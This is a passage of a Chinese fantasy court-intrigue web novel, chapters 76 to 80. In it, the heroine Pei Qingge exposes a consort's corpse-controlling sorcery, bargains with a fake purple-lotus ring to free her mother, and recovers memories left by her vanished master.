黑袍人揣摩着她的话,顿了顿才说,“说你的条件吧,只要你不再插手肃亲王府的事。” “哦?”裴清歌挑了挑眉,“什么条件都行?” “王妃!”左辞看着她,急得不行,现在他们可就指望裴清歌了,万一她说了什么条件,黑袍人真的答应了呢? 黑袍人扫了左辞一眼,微微点头,“听说你刚到王府的时候,王府的人对你也不好,你没必要为了他们趟这趟浑水,只要你的条件不太过分,我都可以答应。” 裴清歌没说话,像是在认真地思索什么。 顿了顿,黑袍人又补充,“还有,你要去掉白锦夜身上的阵法。” 听到这,裴清歌脸上露出了几丝不明意味的笑容,“那阵法那么简单,你连肉尸都能控制,去掉个阵法还要我跟你谈个条件么?” 黑袍人沉默了会,只是说,“说你的条件吧。” “王妃!”左辞忍不住又叫了一声,“这人不怀好意,你可别与虎谋皮!” 裴清歌瞥了左辞一眼,“他不怀好意,你家王爷就对我很好了么?” 左辞还想说什么,却被白锦夜一个眼神制止,他只好乖乖地闭上了嘴。 裴清歌这才看向黑袍人,“跟你没什么好谈的,让你家主子来谈吧。” “跟我谈也一样。”黑袍人继续道。 裴清歌眯了眯眼,“行啊,我的条件很简单,第一,从哪来回哪去,不要在天风国兴风作浪。第二,不管你的术法从哪学来的,都要废掉,不准再害人。只要这两点能做到,肃亲王府的事我可以不再插手。” 黑袍人冷笑一声,“那就是没得谈了!” 说完作势向裴清歌扑来,但身形在空中诡异地一转,直奔窗子而去! 裴清歌也没动,只是静静地看着黑袍人跃到窗边破开窗子,但却被人一脚踢在胸口,踹了回来。 黑袍人在地上滚了几滚,站起身。 鬼卿也跟着从窗子跳进来,他和裴清歌一人站在门口,一人堵在窗边,封死了黑袍人的出路。 “会这么多术法,不会算卦么?没算一算你今天出师不利?”裴清歌笑着看着黑袍人问道。 “裴玲珑这个蠢货,成事不足败事有余。”黑袍人说着瞄了一眼白锦夜,“王爷,你设这个局也是煞费苦心了,我记住了,咱们这笔账慢慢算。” 黑袍人说完,身子一软,就倒在了地上。 鬼卿眼疾手快地上前抓了一把。 裴清歌看着被他抓在掌心的一缕魂魄,“打个印记就行。” 鬼卿点点头,在魂魄上打了印记,就放走了。 “这缕魂魄的气息很熟悉。”裴清歌看向白锦夜,“我要是没猜错,应该是和贵妃吧。” 左辞扶着白锦夜走到床边坐下,才走到黑袍人身边,用剑挑开了袍子。 袍子下面,尸体的皮肤斑驳已经快要脱落,一点都不像是刚死的。 “简单的御尸术还要打一丝自己的魂魄进来,和贵妃看样子学艺不精。”裴清歌语气转冷,“左辞,你刚才说什么来着?与虎谋皮?我看与虎谋皮的是你家王爷吧。” 左辞的脸色讪讪,想来想去,才说,“这事怪属下,是属下前几天查到跟孟彦私通的人是裴玲珑,王爷才带着裴玲珑一起来了洪都,没想到被裴玲珑摆了一道。” “是么?”裴清歌微微皱了下眉头,看向白锦夜,“难得你忍得住。” 白锦夜没有说话,他一开始确实快要控制不住了,但是却想起来裴清歌交代张嬷嬷照顾张太妃的时候,说让她不要再碰鲜血生肉。 他直觉这中间一定有什么关系。 他虽然咬了司空,但也还是很努力的全都吐了出来,并没有把血咽下去。 但有那么一个瞬间,他几乎完全丧失了理智,好在曾经交代过司空,司空及时翻出了裴清歌给他的药,所以他从头到尾,都还残存着几丝理智。 他咬了咬牙,低声问,“你什么时候来的?” “早就来了。”裴清歌倒是没有隐瞒,“这尸气这么大,鬼卿老早就知道了,我就想看看,你能忍多久。” “本王还不如左辞一根舌头。”白锦夜抬眼看向裴清歌。 “左辞要是不能说话了,这王府的乐趣都少了一半。”裴清歌开口道。 左辞一脸的窘迫,“王妃真是喜欢开玩笑,属下这舌头哪有王爷的命重要?”说着他看向司空,“司空伤得不轻,属下送他去处理下伤口。”说完赶紧扶着司空走了。 看着左辞略带仓皇的身影离开,裴清歌才重新看向白锦夜,“王爷若是无事,就早点回京吧,和贵妃的魂魄被鬼卿伤了,暂时不会做什么,但难保不会对张太妃下毒手。” “我都已经警告过王爷,你多灾多难的,即便你就在王府呆着,都会有人上门找你麻烦,就不要到处乱走了。” “王爷气不过裴玲珑欺瞒你她和孟彦的奸情,也没必要这么老远的跑来,吩咐一声,不就有人直接把孟彦和裴玲珑送到你面前了?” “我还有事要忙,不见得每一次都赶得及,你好自为之吧。” 说完,裴清歌也没停留,转身向外面走。 白锦夜盯着裴清歌的背影,胸口气血翻涌,喉头都跟着一阵腥甜。 鬼卿看了看白锦夜,轻轻地叹了口气,跟上裴清歌的脚步。 * 钟粹宫内,和月如猛地睁开眼睛,吐出一口鲜血。 她咬了咬银牙,“裴清歌,真是小看你了,既然你非要插手肃亲王府的事,那就别怪我不客气了!” “流岚,以本宫的名义,给肃亲王妃送张帖子,请她中秋进宫赴宴。”和月如抬眼看向身边的宫女吩咐道。 “是。”流岚应了一声。 和月如擦了擦嘴角的血,“本宫就好好会会她,亲自跟她谈谈!” 第76章 死人潭 裴玲珑被绑在椅子上,司空和左辞提着剑一左一右地看着她,但凡有一丝小动作,都会直接要了她的命。 她脸上已不复之前对肃亲王府的人的讨好,目光在司空重重包着的胳膊和脖子上打量了半响,才轻笑道,“你们王爷已经没救了,聪明的就赶紧投奔新主子吧,对我好一点,我还能在主子面前给你们说几句好话,留你们一条狗命。” 左辞和司空对视了一眼,开口问道,“你主子是谁?” “你会知道的。”裴玲珑瞥了左辞一眼。 “以前还以为你是皇后的人,现在看起来你是和贵妃的人吧?”左辞又问,“刚刚和贵妃派人来过来。” 裴玲珑微愣了一下,“贵妃派人来了?人在哪?” “死了。”左辞接着道,“不过确切的说,她派过来的就是一个死人,传过话,就成了一具尸体。” “传了什么话?”裴玲珑赶紧问。 左辞挑了挑眉,“你什么都不说,还想从我这里知道什么么?起码你也该告诉我们,你对王爷做了什么吧?” 裴玲珑心里暗暗计较了一番,按照白锦夜刚才的情况,还有司空现在身上的伤,他大概是已经彻底沦为张太妃的模样了,“主子有办法控制王爷,只不过最近控制王爷的办法失效了,主子本来让我接近王爷看看是因为什么。” “我一直没有机会,但是王爷却自己找上了我。送上的机会不用白不用,主子给了我一颗药,说只要给王爷吃了就能重新控制王爷。” “不过王爷哪还会吃我给的东西,我就把那颗药磨成了药粉,混在了我的香囊里。” 她说着看向左辞,“所以你们再效忠王爷也是没用的,因为王爷最终也还是要听主子的话。” “你主子要控制王爷,到底是要做什么?”左辞又问。 “这我怎么知道?”裴玲珑皱起眉头,“总之主子给我我想要的,我帮主子办事,其余的我多问是嫌命长么?” “所以你一直和皇后走得近,也只是打马虎眼了。”左辞微微摇了摇头,“你主子让你接近王爷,就只是控制他么?” 裴玲珑没说话。 “你上次去王爷书房要找什么?”司空突然开了口。 “是啊,说出来,看看有什么事,咱们能不能一起办,毕竟王府的事情我和司空比你熟悉不是么?你想找的东西,就算书房大门敞开给你,你都不见得能找到,我们想投诚也不能什么都不做啊。”左辞继续道。 “是一枚莲花模样的戒指。”裴玲珑想了会说道。 这一次左辞和司空没再说话了。 裴玲珑正要问他们见没见过的时候,白锦夜就从外面走了进来,“原来你接近本王,是为了那枚戒指。” 她诧异地看着白锦夜,“你……你怎么会没事?” 白锦夜没有回答,只是双手负在身后,用带着几丝审视的目光看着裴玲珑,“本王有时候也好奇,本王允许你接近,也多少带了些其他的目的,怎么有些时候就那么见不得你哭?怎么就对你的一些要求言听计从,甚至心里都产生不出来反驳的想法?” 裴玲珑的表情有些慌乱,她看了看左辞和司空,又看向白锦夜,“你们想要干什么?我可是裴靖的女儿,皇后是我表姐,我……可是贵妃的人。” 白锦夜笑得有些无奈,“现在再看你,长得也不过如此,跟孟彦倒是般配。” 裴玲珑的脸上闪过一抹羞怒,她向来对自己的容貌还是很自信的,如今竟被白锦夜这么说,“王爷怕不是看惯了被泼了热油的脸,已经不分美丑了?” “哦?”白锦夜微微挑眉,“你姐姐长什么样,你不是应该比本王更了解么?” 裴玲珑气息一滞,突然想起上次在宫中赴宴的时候,裴清歌的脸已经康复了,她恨恨地咬了咬牙,“王爷也别太得意,只要王爷身上有贵妃想要的东西,她就会一直咬死你不放的,跟贵妃作对,就是跟皇上作对,就算王爷手掌兵权,那又怎么样?” 白锦夜抚了抚袖子,“不管怎么样,恐怕你都看不到了。”他说着摆了摆手,两个婆子进了门。 婆子走近,捏着裴玲珑的嘴,灌了一碗药下去。 一个婆子怕她吐出来,灌了之后就赶紧捂住她的嘴,又向白锦夜交代,“王爷放心,这碗哑药灌下去,她这辈子都别想说话了。” 白锦夜也不在意拼命挣扎的裴玲珑,只是看向左辞,“去通知孟夫人,让她来把孟公子和孟公子的外室带回去。” 裴玲珑闻言瞪大了眼睛,挣扎得更加用力,一口咬在婆子的手上。 婆子被咬疼也发了狠,一巴掌打过去,“到了孟府,孟夫人会好好管教你的。” 裴玲珑这才害怕了,那孟夫人就是个泼妇,当时是怎么对裴清歌的,只会十倍百倍的用在她身上! 若是有孟彦护着她倒也还好,可她伤了孟彦,孟彦肯定不会再管她死活! “王爷,王爷,我错了,你想知道什么,我全都告诉你,我……我还知道很多贵妃的事情,我都可以告诉你!” 白锦夜没在理会她,转身就出了房间。 房间内,还不断传来裴玲珑求饶的声音,但很快就变得断断续续,最后只变成吱吱呀呀不成字的嘶吼。 左辞也跟着白锦夜出了门,“王爷,裴府那边……” “让孟夫人去处理,她知道该怎么办。”白锦夜说着顿了顿,“一会本王带司空回京,你留下吧。” 虽然没说留下来干什么,但左辞心知肚明,显然是留下来看看王妃那边有没有需要帮忙的,“是。” 说着他小心翼翼地看了一眼王爷,王爷这是在记挂王妃么? * 洪都城内发生的事,裴清歌并不知道,她一大早跟客栈的小二打听了下关于那水潭的事,就带着鬼卿上了山。 鬼卿带了绳子,一边系在一颗大树上,一边系在自己的腰上,才慢慢的往水潭里面走。 裴清歌警惕地盯着潭面,客栈小二说,这潭水叫“死人潭”,之所以叫这个名字,是每年这潭里都会漂几具淹死的尸体。 有的是洪都的人,有的是外地人。 也不知道他们是怎么失足落在这潭里淹死的,反正被发现的时候就已经是尸体了。 如今当地人都远远地绕着这个潭水走。 “慢点。”裴清歌早上起了卦,卦象到没显示有什么危险,可她的眼皮就是一直在跳,“小心点。” 鬼卿应了一声,走了几步,又突然说,“昨天,你生气了。” 第77章 无聊的情绪只会影响修炼的速度 裴清歌微微皱了下眉,看向鬼卿的背影,“我生气什么?” “不知道。”鬼卿如实说,“感觉。” 裴清歌沉默了会,“这里的事情有点复杂。” “挺好。”鬼卿又道,“在圣殿,你每天,只修炼,看书,炼药,一身死气。” “无聊的情绪只会影响修炼的速度。”裴清歌轻声道。 鬼卿转头看了她一眼,没再说话。 他继续往前走,潭水也慢慢变深,等快要潭心的时候,潭水已经到了他下巴的位置,好在他对呼吸的要求也没那么高,就直接没进了水里。 裴清歌等了半响,一直不见有什么动静,正要喊他,就见他浮出了水面,手上举着一截灰色的树枝。 鬼卿走到岸边,把树枝插在地上,树枝方圆一尺内的花草迅速的枯萎。 “凝川。”裴清歌皱起眉头。 鬼卿点点头。 裴清歌吸了一口气,在北冥国的传说里,鬼王沙漠曾经并不是沙漠,后来不知道为何长出了凝川这种树,这种树通体灰色,就连树叶也都是灰色的。 凝川会吸收所有物体的生气,所以鬼王沙漠里的植物和动物全都枯萎死亡。 不多时,就彻底地变成了一片荒芜的沙漠。 之后没多久,凝川也被流沙覆盖,彻底消失在这个世界上。 凝川不怕火烧,但凡有生命的物体触碰到它,都会被它吸走生气,所以活人根本不能直接拿它。 这截树枝断面平滑,显然是被人砍断然后带到这里来的。 裴清歌又往水潭里看了一眼,“怪不得这潭水里没有鱼也没有水草,想必那些死在潭里的人,也是因为这截树枝了。只是不知道是什么人找到的它,又把它带到这来。” 她说着顿了顿,像是在问鬼卿,又像是自言自语,“会是师父么?但凝川不是早就绝种了么?” 当然这些问题鬼卿不可能给她答案,他也就只是默默地站在那,等着她的决定。 “你收好这凝川,回头有机会,埋在鬼王沙漠吧。”裴清歌开口道,“天风国真是越来越有意思了。” 鬼卿的眼里闪过一抹担忧,“先回去,告诉国君。” 如今裴清歌的实力没有恢复,天风国的情况看起来越来越复杂,他就算再厉害,一个人双拳难敌四手,他怕万一有什么差池,他没办法保护裴清歌。 裴清歌摇了摇头,“我擅自离开北冥国,若是现在回去,必然受罚。眼下这事一件接着一件,等我受罚出来,不知道事情发展成什么样。” 顿了顿,她才苦笑着看向鬼卿,“离国重罪,起码要在刑崖受罚三年,以我现在的实力,在刑崖恐怕熬不过三天。” 鬼卿下巴紧绷,“不能去,刑崖。” 他自小在北冥国长大,只有极重的罪,才会被送到刑崖受罚,人会被钉在刑崖的崖壁上,伤口无法愈合,直到刑期结束或者受刑死亡。 可几乎没人能活着从刑崖出来。 “好在我现在这个样子,估计也没人相信我是圣女,这样正好方便我们办事。等查清天风国的事情,希望能将功赎罪吧。”裴清歌说着叹了口气,“只是师父的线索,到这又断了。” 她拧着眉,难道只能尽快恢复实力,解开师父虚空玉上的法阵,才能知道到底发生什么了么? “可是奇怪,师父从北冥国离开,应该最先到天风国的月城,这洪都在天风国的南方,看样子师父是一路南下,洪都再往南,没多远,就应该到海边了。”带着鬼卿一边往山下走,裴清歌一边低声道。 “师父难道要出海么?”她说着往南方看了看,“出海去哪呢?” “别急。”鬼卿安抚道。 裴清歌点点头,“是啊,不能急,起码现在多少有些头绪,总比过去的五年什么都不知道的好。” 顿了顿,她又问,“你记得最后一次见师父的时候,她戴着紫莲戒么?” 鬼卿点点头,语气肯定,“戴着。” “师父走后,我们翻找过圣殿,没见过紫莲戒。”想到这,裴清歌的脚步顿了顿,“当时我和楚星玄还好奇和月如为什么会在天风国找紫莲戒,她一定知道什么,甚至可能知道师父确实在天风国出现,才会在这里找。” “可把我引到月城的那人,实力绝对要在和月如之上,难道她还有帮手?”裴清歌转头看向鬼卿,“咱们回京,想办法见见这个和贵妃。” 鬼卿看着裴清歌的侧脸,隔了才说,“如果,白锦夜,也是冥尸,会更稳妥。” 裴清歌抿了抿唇,“鬼卿,圣殿炼制的肉尸,均是北冥国的犯人,刑期一到,就会让他们恢复原状。原则上,这是一种刑罚,除此之外,不得违背别人的意愿私自炼制肉尸,这是圣女传承千百年的规矩。” “至于冥尸,这世上也就只有你一个。白锦夜如果不愿意,我也不会强迫。总之我们多小心就是了。” 鬼卿没再说话,裴清歌当年炼制他,是不想让他死,但也确实违背了北冥国的规矩,如果每个人都不希望自己身边的人死去,这世界就乱套了。 不过裴清歌到底是第一个成功炼制出冥尸的人,算是以功抵过,国君只是苛责了她几句。 裴清歌看着他,笑着安慰道,“放心吧,吃一堑长一智,我不会再死一次了。” 回到客栈,左辞已经等了老半天,“王妃,王爷已经回京了,你看咱们接下来怎么安排?” “你怎么不跟着一起回去?”裴清歌随口问道。 “属下这不是跟着王妃么?”左辞看着鬼卿小心翼翼地拿着手里的树枝,忍不住凑头去看,“王妃,你们去哪了?怎么还砍了截树枝回来?” 鬼卿没回答,裴清歌也没回答。 左辞觉得,自从鬼卿来了以后,王妃对他的态度就不好了,他可能要失宠了,“王妃,要不咱们也回京吧,店面估计装修得差不多了,咱们得回去赚钱了是不是?” 裴清歌抬眼看他。 左辞挠了挠头,“其实……属下也不是着急赚钱,就是王爷让属下转告你,裴夫人已经提了和离,但是裴将军不同意,前几天带了人去王府要把裴夫人接回去,裴夫人不走,他们就在王府门口闹事,还是王爷叫人赶走的。” “王爷说他离京的时候,裴将军已经去找皇上哭诉了,说……王爷和王妃撺掇裴夫人和离,闹得他家宅不宁,还说……要跟你断绝父女关系。” 第78章 你看,是不是这样的戒指? 裴清歌冷笑一声,“他可真是好大的脸。” “是啊。”左辞赶紧道,“王妃,这时候你还是回京陪在裴夫人身边比较好。” “你是不放心你家王爷吧?”裴清歌直接拆穿他。 左辞干笑了几声,他确实不放心,总感觉不知道什么时候王爷就会失控,现在司空又有伤在身,他都恨不得直接飞到白锦夜身边。 裴清歌倒也不在意左辞究竟是因为什么想回京,反正这边的事情暂时告一段落,回去解决裴夫人和裴靖的事也算是正事。 白锦夜那边也不过就早启程两三个时辰,所以基本上两批人也就是前后到达京城。 裴清歌一进门,桑榆就赶紧跑了过来,“王妃,这几天,裴府的人总是来闹事,好在九皇子在,帮忙挡去了,但今早宫里就传了信,说要裴夫人进宫。” “进宫?”裴清歌的脚步停下来,“我娘进宫了?什么时候去的?” “一早就去了,这都大半天了。”桑榆也有点着急,“进了宫,九皇子那边也不知道该怎么办了。” 裴清歌当即转身往外走,刚走两步,张嬷嬷就叫住了她。 张嬷嬷的脸色微微有些尴尬,之前她对裴清歌的态度不算好,这段时间她虽然在梧桐院照顾张太妃,但是跟裴清歌也是井水不犯河水。 自从张太妃吃了裴清歌的药以后,几乎是以肉眼可见的速度在好转,脸上暴起的青筋逐渐消失,就连指甲上的青紫色也在慢慢淡去。 她如今也是真的把裴清歌当了恩人。 “王妃,老奴陪你一起进宫吧。” 张嬷嬷原来是太后身边的老嬷嬷,在宫里多少都算有几分薄面,带上她百利无害,显然这也是张嬷嬷在向她示好,裴清歌沉默了下,点了点头。 留下鬼卿看守张太妃,她就带着张嬷嬷往白锦夜的书房走。 宫里当然不能随便进,按照正常的流程,她还要递帖子,可现在哪有时间那么浪费? 刚走到书房门口,白锦夜也正带着左辞往外走,他见裴清歌带着张嬷嬷,也就明白了,“裴夫人的事,本王也刚知道,正要进宫。” 裴清歌走在他旁边,“是皇上宣我娘进宫?” “不是。”白锦夜的脸色有些难看,“和贵妃。” 裴清歌一怔,“怎么是她?” “皇上哪有时间管裴家的家事?”白锦夜皱起眉头,“不过最近皇后在思过,六宫之事都交给和贵妃搭理,裴夫人是命妇,提了和离,原则上和贵妃问一问也是正常的。” 本来是没事,但经过洪都的事,他们跟和贵妃之间,就算是撕破脸皮了。 和贵妃这时候请裴夫人进宫,肯定是不安好心。 裴清歌捏了捏衣袖,眸色一沉,心知和月如是要以裴夫人为人质跟她谈条件了。 进了宫,裴清歌便抓了个宫人问和贵妃的寝殿怎么走。 “王妃,进了宫,不如先去给太后请安吧。”张嬷嬷出声提醒。 裴清歌微微皱了下眉头,转头看她。 “贵妃的寝殿,王爷去不得。”张嬷嬷又道,“先给太后请安,太后自然会做主的。” 裴清歌眉头皱得更紧,“规矩可真多,真是麻烦。” 要真是跟和贵妃动手了,白锦夜去不去的,影响真是一点都不大。 太后正在小憩,见到白锦夜,仔细地打量了半晌,细细地问了最近的事,听说裴清歌马上就要治好张太妃,她似乎这才注意到跟着白锦夜一起来的人。 裴清歌在旁边听得急死了,话头终于到了她身上,她就再也忍不住了,“是的,张太妃能治好,王爷也不会变成张太妃那样,太后放心吧。但是我……” 白锦夜看了裴清歌一眼,打断她的话,“母后,听闻最近六宫之事都由和贵妃代为处理?” 太后点点头,“不过她对这些事也不上心,听说所有事情,无论大小,都着人去问过皇后。” “是么?”白锦夜说着垂下眼,像是在想什么。 太后见状便知这二人是有事找和月如,她转头看向身边的嬷嬷,“去趟和贵妃的那边,就说哀家这有点新茶,请她过来尝尝。” “是。”嬷嬷应声退下。 裴清歌心里默默的无语,若是在北冥国,有什么说什么,解决事情就好了。现在他们这些人,明明是祖孙,还要绕个弯子。 她转头看向门外,难掩脸上焦急的神色。 张嬷嬷借着给裴清歌添茶的空当,低声道,“王妃,急不得,你越急,那边越是能拿捏。” 裴清歌暗暗翻了个白眼,那可是她娘,就算她表现得不着急,就真的不着急了么? 如果她能不着急,和月如也不会把她娘召进宫了啊。 和月如倒是很快就到了,给太后问安后,就坐在了一边,她抬眼打量了一眼裴清歌,先开了口,“这位就是肃亲王妃吧?本宫真是托了你的福,听说上次就是因为你,皇上对皇后大发雷霆,让皇后闭门思过,这六宫的事都落在了本宫身上。” “本宫不似你们天风国女子,自小就学着管理内务,真是忙得头都大了。” “偏偏裴将军和裴夫人又闹和离,裴将军天天去吵着皇上,皇上被他吵烦了,又让本宫来处理。” 她说着抬手揉了揉眉心,“真的是无妄之灾。” 这话就差直说是裴清歌自找的了。 “那贵妃眼下是处理完了么?”裴清歌开口问。 “裴夫人是铁了心的要和离,裴将军那边也不松口,本宫还听说裴夫人之前在王府住着,但裴将军总是去闹事,所以就跟裴夫人说,让她在宫中小住几日,等裴将军气消了,再坐下来好好聊聊。总不能闹得人尽皆知,让全盛京都看裴家的笑话吧?”和月如顿了顿又补充,“就算王妃是出嫁女,事情闹大了也脸上无光不是么?” 裴清歌盯着她,半响才问,“小住几日是多久?” “那可就不好说了。”和月如笑了笑,“就让裴夫人先住着,等本宫忙完手上的事,就好好处理这事。”她说着看向太后,“说来也巧,前些日子,刚好臣妾的母后给臣妾写了信,说母后的母家失窃,一枚传家的戒指不见了。” “追了贼人很久,贼人走投无路,竟跑到了天风国,这戒指于母后意义重大,母后请咱们帮忙找找,若是找到了,必有重谢。臣妾最近正着人办这事,这毕竟涉及到两国邦交,事情要比裴将军的家事重要吧?” 裴清歌眯起眼睛,“你那戒指长什么样?” “就是一枚紫色莲花模样的戒指。”和月如笑道,“要是肃亲王和王妃也能帮忙一起找找就最好了。” 裴清歌轻笑了一声,从袖袋里摸出一枚戒指,“你看,是不是这样的戒指?” 第79章 你想要就直说,十个八个我还是拿得出来的 看着裴清歌手里的戒指,和月如的眸光蓦地一缩,甚至都有上前一步去抢过来的冲动了。 隔了会,她清了下嗓子,才道,“像是,不知道王妃手上的戒指从何而来?” “前几天,我和王爷出京办事。”裴清歌说着看了一眼白锦夜,顿了顿,继续道,“路过洪都,听说洪都城外的一座山上有一处潭水,叫死人潭,好奇这好好的潭水怎么会叫死人潭呢,于是就去看了看。” “这戒指就在潭中两块石头的夹缝里,也好在我有个眼力好的随从,不然恐怕就要错过了。没想到这么巧,就是贵妃要找的么?” 和月如的手微微握了握拳,“拿给本宫看看。” 裴清歌站起身,走到和月如的面前,把戒指在她眼前晃了晃,和月如伸手就要去拿,可她却一下子躲开,“贵妃,这戒指贵重,你先看看就好了。” 和月如脸色不悦,但当着太后和白锦夜的面,也不能直接去抢,于是就仔细地看了又看,那戒指确实是紫色的莲花模样,而且每一个花瓣上,都刻着极其细微的阵法,不仔细看根本看不出来。 她暗暗地舒了一口气,总算是找到了! “应该是了。” 裴清歌收起戒指,后退了几步,重新坐下,“和贵妃,你别怪我坐地起价,你也知道,我爹宠妾灭妻,对我娘和我这个嫡女不闻不问,前段时间又无辜鞭笞我娘,差点把她打死,他如今满心满眼都只有那个妾室和庶女。” “我娘想要和离,我肯定是支持的,也正好给那个妾室让了位置不是么?皆大欢喜的结局,贵妃不会阻拦吧?” 和月如捏了捏袖口,“王妃所言甚是。” “和贵妃也这么想,那就最好了,我娘拿到和离书之时,我定当归还这枚戒指。”裴清歌笑道,“有和贵妃做主,我想我娘应该也不用在宫里小住,我爹应该不会再找她麻烦了吧?” “好,王妃是个爽快人,本宫自然会给你和你娘做主。”和月如说着站起身,“这戒指本宫也找了段日子,毫无头绪,没想到王妃竟无意之间找到了。” 她看了一眼白锦夜,她本就认为白锦夜其实早就拿到这枚戒指了,只是不愿意给她,如今看来,也确实如此,不然怎么她这边一请了裴夫人过来,裴清歌就会立刻拿着戒指来交换了? “王妃也算是本宫的福星了,以后咱们多走动,说不定还能成为好朋友呢。”和月如说完就看向太后,“那臣妾就先告退了,趁着时候还早,解决了裴家的事,王妃也就安心了。” “去吧。”太后摆了摆手,等着和月如走了,看向裴清歌,像是犹豫了下,才提醒道,“这和贵妃是个记仇的,你今日这样威胁她,将来……”她说着叹了口气。 裴清歌可不这么认为,和月如刚才开心的都要飞上天了,“多谢太后提醒,我以后会多加小心。” 太后点点头,又看向白锦夜,“等你母妃好了,带她进宫来看看哀家。” 白锦夜应了下来,见太后乏了,就告退带着裴清歌出了宫。 上了马车,他盯着裴清歌看了好一会,像是纠结了好半天,才问,“那戒指……” 裴清歌从袖袋里拿出戒指,在手上抛着玩,“王爷也想要?”她说着笑了笑,“没事,想要你就说,多了没有,十个八个总是有的。” 这紫莲戒,真的只有一个,假的……在圣殿里多的是。 冷鸢给她收拾药材和其他东西的时候,不知是有意还是无意,刚好混进来了几个。 那天在假山里听到和月如要找紫莲戒,她就想,就算和月如这一次抓裴夫人过来本身是为了要挟她让她不要管肃亲王府的事,但是如果见到这戒指,恐怕其他的事也就暂时先放下了,于是就顺手带了一个。 对于没有见过真的紫莲戒的人,这种戒指足够糊弄了。 若是和月如认出这戒指是假的,那就证明她见过真的。 如今看来,她没见过真的,说明她从未到过北冥国,也从未见过师父。 白锦夜微皱了下眉头,“你拿个假的糊弄她?” “假的?你怎么知道是假的?”裴清歌反问。 白锦夜清了下嗓子没说话。 “你见过真的?”裴清歌又问。 “没有,只是你说有十个八个的,若是真的总不见得有那么多。”白锦夜开口道。 裴清歌狐疑地看着他。 “本王知道那不是和月如家的什么传家戒指,这戒指她找了很久了。”白锦夜被她盯得难受,于是继续解释,“这么重要的东西,怎么可能有十个八个?” 裴清歌收起戒指,“听说西夜国是游牧民族,性情豪放,直来直去,她倒是把你们天风国的坏毛病都学了十成十。” “我们天风国?”白锦夜微皱了下眉。 裴清歌假装没听懂,掀开窗帘看向马车外面,不再说话了。 * 回到王府,二人分开,白锦夜直接回了书房。 他径直走到书架边,打开暗格,拿出了一个锦盒。 打开锦盒,里面正是紫莲戒。 白锦夜把戒指拿在手上,转身在椅子上坐下,微微皱起眉头。 前年他带司空巡查军营,回来的路上见到有个女子被人围攻。 那女子虽然武功不错,但已经落了下风。 他和司空出手救下了她,那女子与他们同路,一起到了月城。 路上那女子说他今年小劫丛生,但最大的,是年底的大劫,可以说是十死无生。如果想活命,就去找一个裴姓女子,她见到这枚戒指,就会救他。 就当是她还了他这份恩情。 他回京以后,无意间在裴玲珑的身上见到一张画,画上画的就是这戒指,他以为那人说的便是裴玲珑。 可如今看来,裴玲珑也只是帮和月如找戒指才会有那张画。 白锦夜把戒指攥在掌心,难道……是裴清歌么? 第80章 这世上不会再有圣女,也不会再有北冥国 裴清歌刚回到梧桐院,就见鬼卿从房间里冲了出来。 他脸上带着几丝激动,“紫莲戒!”他说着迈步往外走,“是紫莲戒。” 裴清歌一怔,赶紧跟在他身后,“你感受到紫莲戒了?” 鬼卿点点头,见裴清歌跟上来,也就加快了脚步。 两个人迅速的往散发紫莲戒气息的方位走去,走到一处院墙外,鬼卿的脚步停了下来,他看着前面,“没了,但应该,就在这,附近。” 裴清歌眯了眯眼,绕过院墙,走到最前面,是白锦夜的书房。 之前裴玲珑就曾经试图在晚上偷偷进他的书房,原来是为了找紫莲戒。 刚刚在路上,她还问过白锦夜是不是见过真的,白锦夜否认了。 可转身,紫莲戒的气息就从他的书房里传出来。 紫莲戒怎么会在白锦夜的手上?那师父呢? 裴清歌和鬼卿对视了一眼,他的感觉不会出错。 但白锦夜不肯承认紫莲戒在他手上,甚至和月如已经明确的告诉他找到紫莲戒就能救张太妃的时候,他都没有拿出来。 当初和月如和裴玲珑都能短暂的控制他,他也没有主动交出紫莲戒。 这其中大概是有什么缘由。 裴清歌的手握了握拳,拉过鬼卿,打算离开。 “不进去?”鬼卿不解。 “我们去问他,他可能也不会承认。”裴清歌说着摸出师父留下的那枚虚空玉,“看来不能再等了,要想办法破开这虚空玉了。” “放眼天风国,没有人是师父的对手,这紫莲戒的意义非比寻常,如果师父是主动交出来,那一定有她的缘由。如果不是主动交出来……”裴清歌顿了顿,“我们必须要知道到底发生了什么事。” “别人说的,都可能是假的,但我这具身体的记忆不会骗我。” “鬼卿,我的疑问越来越多,可我不相信任何人。” 鬼卿没说话,眉间带着几丝凝重,转头看了看白锦夜的书房,跟着裴清歌回了梧桐院。 裴清歌把虚空玉放在桌上,这阵法她现在解不开,鬼卿不会阵法,也帮不了忙,为今之计,也就只能强行破开阵法了。 她拿出锁魂玉笛,笛子本身只针对灵体,但流苏上的锁魂石不一样,师父说过,锁魂石坚硬无比,世间没有任何东西能破开锁魂石。 她的手微微用了下力,拿着锁魂石向虚空玉砸去。 二者相碰,瞬间爆发出一阵巨大的威力,鬼卿被震得倒飞出去,桌子也碎了一地。 但是裴清歌的身上闪出一股红光,抵消了这力道,她只是手臂震得有点麻。 她皱了下眉,转头看着鬼卿已经站起身,没有什么大碍,便弯腰在桌子的碎片里找出虚空玉。 虚空玉刚拿在手上,她脑海里就一阵刺痛。 原主残缺的记忆终于补全。 师父说她大祸临头的时候,原主并不相信。 一日她送饭之后,师父留她一起喝杯茶,她喝完茶之后,就昏睡过去。 中间断断续续的醒来两次。 第一次醒来的时候,见到师父像是在画什么东西。 第二次是被疼醒的,迷迷糊糊的睁开眼,见到师父在自己的腿上鼓捣着什么。 等她彻底清醒之后,也没见腿上有什么伤口,再加上师父只说她是在做梦,她也就没多想。 她从那离开刚到前院,孟夫人就带人来捉奸了。 当时场面极其混乱,无论她如何解释,根本就没有人听,她知道这院子里有个人能证明自己的清白,可没有人帮她去找人。 等孟夫人那一碗热油泼过来,她疼得直接晕了过去。 再醒来,已经是在云府了。 那会开始,她对在废宅里发生的事情,记忆就开始变得模糊,她只记得自己救了个人,并没有和别人通奸。 但无论怎么解释,都只有裴夫人一个人相信她,其他人根本不相信她的话。 后来裴夫人陪她去了一趟那个废宅,可师父已经走了。 只有留下的东西能证明那里曾经住过一个人。 这段记忆恢复之后,裴清歌的脑海里闪过另外一副画面,是师父留给她的话。 “子墨,当你发现这些的时候,就证明师父成功的把你引出了北冥国,并且让你在这具身体上重生,而且你的实力至少也应该恢复一半了。” “裴清歌这个姑娘,我见她第一眼,就知道她的寿元到了,若是没遇到我,她会被她的庶妹陷害,被一碗热油灌进肚子,肠穿肚烂而死。” “我舍了自己十年的命,换她多活三年,等我把你引来。” “以你的谨慎,若是实力不恢复,也不会贸然回北冥国,所以你若是看不到师父留给你的话,那也挺好,你就在天风国安安稳稳的生活。” 